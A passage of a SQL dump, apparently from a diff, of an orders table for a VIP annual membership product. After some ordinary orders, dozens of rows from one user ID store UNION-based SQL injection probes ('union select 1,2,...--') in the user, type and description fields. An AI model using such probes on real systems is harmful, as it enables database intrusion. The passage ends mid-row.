'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:26:18.939', '2026-03-05 04:26:18.939', NULL); -INSERT INTO `orders` VALUES ('MP20260305122645323619', 'MP20260305122645323619', 'ogpTW5eIOA-Tc94PEBqn2DbLs8X0', 'ogpTW5eIOA-Tc94PEBqn2DbLs8X0', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:26:45.218', '2026-03-05 04:26:45.218', NULL); -INSERT INTO `orders` VALUES ('MP20260305122645425569', 'MP20260305122645425569', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'ogpTW5WuTP4L70mpGv6mSM4Ei1VA', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:26:45.218', '2026-03-05 04:26:45.218', NULL); -INSERT INTO `orders` VALUES ('MP20260305122648193530', 'MP20260305122648193530', 'ogpTW5ebqNmSlsa_8Rz7ebHbei-4', 'ogpTW5ebqNmSlsa_8Rz7ebHbei-4', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:26:48.974', '2026-03-05 04:26:48.974', NULL); -INSERT INTO `orders` VALUES ('MP20260305122650224568', 'MP20260305122650224568', 'ogpTW5ebqNmSlsa_8Rz7ebHbei-4', 'ogpTW5ebqNmSlsa_8Rz7ebHbei-4', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:26:50.168', '2026-03-05 04:26:50.168', NULL); -INSERT INTO `orders` VALUES ('MP20260305122901330248', 'MP20260305122901330248', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:01.278', '2026-03-05 04:29:01.278', NULL); -INSERT INTO `orders` VALUES ('MP20260305122904720977', 'MP20260305122904720977', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:04.015', '2026-03-05 04:29:04.015', NULL); -INSERT INTO `orders` VALUES ('MP20260305122905820527', 'MP20260305122905820527', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:05.345', '2026-03-05 04:29:05.345', NULL); -INSERT INTO `orders` VALUES ('MP20260305122906977734', 'MP20260305122906977734', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:06.619', '2026-03-05 04:29:06.619', NULL); -INSERT INTO `orders` VALUES ('MP20260305122907834387', 'MP20260305122907834387', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:07.935', '2026-03-05 04:29:07.935', NULL); -INSERT INTO `orders` VALUES ('MP20260305122909340729', 'MP20260305122909340729', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:09.240', '2026-03-05 04:29:09.240', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915016377', 'MP20260305122915016377', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5,6,7,8-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.552', '2026-03-05 04:29:15.552', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915238098', 'MP20260305122915238098', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5,6,7,8,9-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.607', '2026-03-05 04:29:15.607', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915241388', 'MP20260305122915241388', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5,6-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.446', '2026-03-05 04:29:15.446', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915559376', 'MP20260305122915559376', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.286', '2026-03-05 04:29:15.286', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915577542', 'MP20260305122915577542', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.658', '2026-03-05 04:29:15.658', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915589197', 'MP20260305122915589197', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.343', '2026-03-05 04:29:15.343', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915656760', 'MP20260305122915656760', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.230', '2026-03-05 04:29:15.230', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915685776', 'MP20260305122915685776', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5,6,7-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.499', '2026-03-05 04:29:15.499', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915689368', 'MP20260305122915689368', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.199', '2026-03-05 04:29:15.199', NULL); -INSERT INTO `orders` VALUES ('MP20260305122915697397', 'MP20260305122915697397', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc\' union select 1,2,3,4,5-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:15.396', '2026-03-05 04:29:15.396', NULL); -INSERT INTO `orders` VALUES ('MP20260305122939165324', 'MP20260305122939165324', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:39.769', '2026-03-05 04:29:39.769', NULL); -INSERT INTO `orders` VALUES ('MP20260305122939466673', 'MP20260305122939466673', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:39.925', '2026-03-05 04:29:39.925', NULL); -INSERT INTO `orders` VALUES ('MP20260305122939823237', 'MP20260305122939823237', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:39.979', '2026-03-05 04:29:39.979', NULL); -INSERT INTO `orders` VALUES ('MP20260305122939926352', 'MP20260305122939926352', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:39.820', '2026-03-05 04:29:39.820', NULL); -INSERT INTO `orders` VALUES ('MP20260305122939999955', 'MP20260305122939999955', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:39.870', '2026-03-05 04:29:39.870', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940123132', 'MP20260305122940123132', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8,9-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.186', '2026-03-05 04:29:40.186', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940297593', 'MP20260305122940297593', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.084', '2026-03-05 04:29:40.084', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940373711', 'MP20260305122940373711', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.238', '2026-03-05 04:29:40.238', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940697377', 'MP20260305122940697377', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.901', '2026-03-05 04:29:40.901', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940710641', 'MP20260305122940710641', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.135', '2026-03-05 04:29:40.135', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940773838', 'MP20260305122940773838', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6-- ', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.033', '2026-03-05 04:29:40.033', NULL); -INSERT INTO `orders` VALUES ('MP20260305122940842376', 'MP20260305122940842376', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:40.957', '2026-03-05 04:29:40.957', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941050911', 'MP20260305122941050911', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5,6,7-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.233', '2026-03-05 04:29:41.233', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941197720', 'MP20260305122941197720', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.074', '2026-03-05 04:29:41.074', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941215976', 'MP20260305122941215976', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5,6-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.180', '2026-03-05 04:29:41.180', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941509391', 'MP20260305122941509391', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.999', '2026-03-05 04:29:41.999', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941618597', 'MP20260305122941618597', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.017', '2026-03-05 04:29:41.017', NULL); -INSERT INTO `orders` VALUES ('MP20260305122941698795', 'MP20260305122941698795', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:41.129', '2026-03-05 04:29:41.129', NULL); -INSERT INTO `orders` VALUES ('MP20260305122942287535', 'MP20260305122942287535', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:42.098', '2026-03-05 04:29:42.098', NULL); -INSERT INTO `orders` VALUES ('MP20260305122942422771', 'MP20260305122942422771', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:42.240', '2026-03-05 04:29:42.240', NULL); -INSERT INTO `orders` VALUES ('MP20260305122942526984', 'MP20260305122942526984', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:42.048', '2026-03-05 04:29:42.048', NULL); -INSERT INTO `orders` VALUES ('MP20260305122942685693', 'MP20260305122942685693', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:42.296', '2026-03-05 04:29:42.296', NULL); -INSERT INTO `orders` VALUES ('MP20260305122942885653', 'MP20260305122942885653', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:42.184', '2026-03-05 04:29:42.184', NULL); -INSERT INTO `orders` VALUES ('MP20260305122943279917', 'MP20260305122943279917', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:43.112', '2026-03-05 04:29:43.112', NULL); -INSERT INTO `orders` VALUES ('MP20260305122944030606', 'MP20260305122944030606', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:44.324', '2026-03-05 04:29:44.324', NULL); -INSERT INTO `orders` VALUES ('MP20260305122944572678', 'MP20260305122944572678', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:44.218', '2026-03-05 04:29:44.218', NULL); -INSERT INTO `orders` VALUES ('MP20260305122944985854', 'MP20260305122944985854', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:44.270', '2026-03-05 04:29:44.270', NULL); -INSERT INTO `orders` VALUES ('MP20260305122945013789', 'MP20260305122945013789', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:45.930', '2026-03-05 04:29:45.930', NULL); -INSERT INTO `orders` VALUES ('MP20260305122945788204', 'MP20260305122945788204', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5,6,7,8-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:45.627', '2026-03-05 04:29:45.627', NULL); -INSERT INTO `orders` VALUES ('MP20260305122946373200', 'MP20260305122946373200', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:46.702', '2026-03-05 04:29:46.702', NULL); -INSERT INTO `orders` VALUES ('MP20260305122946393114', 'MP20260305122946393114', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:46.390', '2026-03-05 04:29:46.390', NULL); -INSERT INTO `orders` VALUES ('MP20260305122946847097', 'MP20260305122946847097', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:46.337', '2026-03-05 04:29:46.337', NULL); -INSERT INTO `orders` VALUES ('MP20260305122946897930', 'MP20260305122946897930', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5,6-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:46.814', '2026-03-05 04:29:46.814', NULL); -INSERT INTO `orders` VALUES ('MP20260305122947479467', 'MP20260305122947479467', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8,9-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:47.825', '2026-03-05 04:29:47.825', NULL); -INSERT INTO `orders` VALUES ('MP20260305122947917581', 'MP20260305122947917581', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:47.647', '2026-03-05 04:29:47.647', NULL); -INSERT INTO `orders` VALUES ('MP20260305122948703239', 'MP20260305122948703239', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:48.295', '2026-03-05 04:29:48.295', NULL); -INSERT INTO `orders` VALUES ('MP20260305122953053186', 'MP20260305122953053186', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:53.214', '2026-03-05 04:29:53.214', NULL); -INSERT INTO `orders` VALUES ('MP20260305122953502696', 'MP20260305122953502696', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:53.014', '2026-03-05 04:29:53.014', NULL); -INSERT INTO `orders` VALUES ('MP20260305122953798373', 'MP20260305122953798373', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:53.166', '2026-03-05 04:29:53.166', NULL); -INSERT INTO `orders` VALUES ('MP20260305122953853438', 'MP20260305122953853438', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:53.116', '2026-03-05 04:29:53.116', NULL); -INSERT INTO `orders` VALUES ('MP20260305122953985110', 'MP20260305122953985110', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:53.065', '2026-03-05 04:29:53.065', NULL); -INSERT INTO `orders` VALUES ('MP20260305122954061783', 'MP20260305122954061783', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:54.151', '2026-03-05 04:29:54.151', NULL); -INSERT INTO `orders` VALUES ('MP20260305122954587719', 'MP20260305122954587719', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:54.205', '2026-03-05 04:29:54.205', NULL); -INSERT INTO `orders` VALUES ('MP20260305122955788341', 'MP20260305122955788341', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', '\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:55.364', '2026-03-05 04:29:55.364', NULL); -INSERT INTO `orders` VALUES ('MP20260305122956690924', 'MP20260305122956690924', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5,6,7-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:56.384', '2026-03-05 04:29:56.384', NULL); -INSERT INTO `orders` VALUES ('MP20260305122956696572', 'MP20260305122956696572', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5,6,7,8,9-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:56.487', '2026-03-05 04:29:56.487', NULL); -INSERT INTO `orders` VALUES ('MP20260305122956704147', 'MP20260305122956704147', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5,6,7,8-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:56.438', '2026-03-05 04:29:56.438', NULL); -INSERT INTO `orders` VALUES ('MP20260305122956832135', 'MP20260305122956832135', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5,6,7,8,9-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:56.176', '2026-03-05 04:29:56.176', NULL); -INSERT INTO `orders` VALUES ('MP20260305122957478775', 'MP20260305122957478775', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', '\' union select 1,2,3,4-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:57.902', '2026-03-05 04:29:57.902', NULL); -INSERT INTO `orders` VALUES ('MP20260305122957647740', 'MP20260305122957647740', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip\' union select 1,2,3,4,5,6,7,8,9,10-- ', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:57.608', '2026-03-05 04:29:57.608', NULL); -INSERT INTO `orders` VALUES ('MP20260305122957648705', 'MP20260305122957648705', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual\' union select 1,2,3,4,5,6,7,8,9,10-- ', 1980.00, '卡若创业派对VIP年度会员(365天)', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:57.731', '2026-03-05 04:29:57.731', NULL); -INSERT INTO `orders` VALUES ('MP20260305122958003713', 'MP20260305122958003713', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5,6-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:58.228', '2026-03-05 04:29:58.228', NULL); -INSERT INTO `orders` VALUES ('MP20260305122958702927', 'MP20260305122958702927', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:58.821', '2026-03-05 04:29:58.821', NULL); -INSERT INTO `orders` VALUES ('MP20260305122958750152', 'MP20260305122958750152', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '卡若创业派对VIP年度会员(365天)\' union select 1,2,3,4,5,6,7-- ', 'created', NULL, NULL, '', NULL, '2026-03-05 04:29:58.523', '2026-03-05 04:29:58.523', NULL); -INSERT INTO `orders` VALUES ('MP20260305123000505871', 'MP20260305123000505871', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'ogpTW5duSAZQhIEcU1dRonZaMskc', 'vip', 'vip_annual', 1980.00, '\' union select 1,2,3,4-- ', 'created', NULL, NULL, '', NULL, 